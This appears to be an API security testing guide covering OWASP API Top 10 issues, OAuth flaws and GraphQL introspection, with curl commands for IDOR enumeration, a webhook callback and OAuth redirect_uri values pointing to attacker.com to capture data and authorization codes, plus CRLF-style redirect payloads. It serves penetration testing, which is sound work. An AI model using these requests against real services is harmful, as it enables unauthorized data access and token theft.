API security testing guide covering OWASP API Security Top 10, JWT attacks, OAuth vulnerabilities, GraphQL security, and API fuzzing techniques.
API Security Testing Skill
Comprehensive API security testing guide for 2025.
OWASP API Security Top 10 (2023)
API1: Broken Object Level Authorization (BOLA)
# Test IDOR vulnerabilities# Access other users' resources# Get user A's data with user B's token
curl -X GET https://api.target.com/users/123 \
-H "Authorization: Bearer user_b_token"# Increment/decrement IDsforidin $(seq 1 100); do
curl -s "https://api.target.com/orders/$id" \
-H "Authorization: Bearer token" | grep -v "404"done# UUID enumeration# Check if UUIDs are truly random or sequential
# Version enumeration
curl https://api.target.com/v1/users
curl https://api.target.com/v2/users
curl https://api.target.com/api/v1/users
curl https://api.target.com/api/beta/users
# Deprecated endpoints# Often less secured or have known vulnerabilities# Shadow APIs# Undocumented endpoints discovered through fuzzing
API10: Unsafe Consumption of APIs
# Third-party API injection# Inject malicious data through integrated services# Webhook manipulation
curl -X POST https://api.target.com/webhook \
-d '{"callback": "https://attacker.com/collect"}'
# Authorization Code Theft# Redirect URI manipulation
https://auth.target.com/authorize?
client_id=xxx&
redirect_uri=https://attacker.com/callback&
response_type=code
# Open Redirect in redirect_uri
redirect_uri=https://legitimate.com@attacker.com
redirect_uri=https://legitimate.com%0d%0a%0d%0aattacker.com
# State parameter bypass# Missing or predictable state = CSRF# PKCE bypass (for public clients)# Check if code_challenge is actually validated
Token Security
# Access token leakage# Check browser history, referrer headers, logs# Refresh token theft# Long-lived refresh tokens stored insecurely# Token reuse# Test if revoked tokens are actually invalidated
GraphQL Security
Introspection Attack
# Full schema disclosure{
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
type{ name }}}}}# Using tools
python3 graphw00f.py -t https://api.target.com/graphql
inql -t https://api.target.com/graphql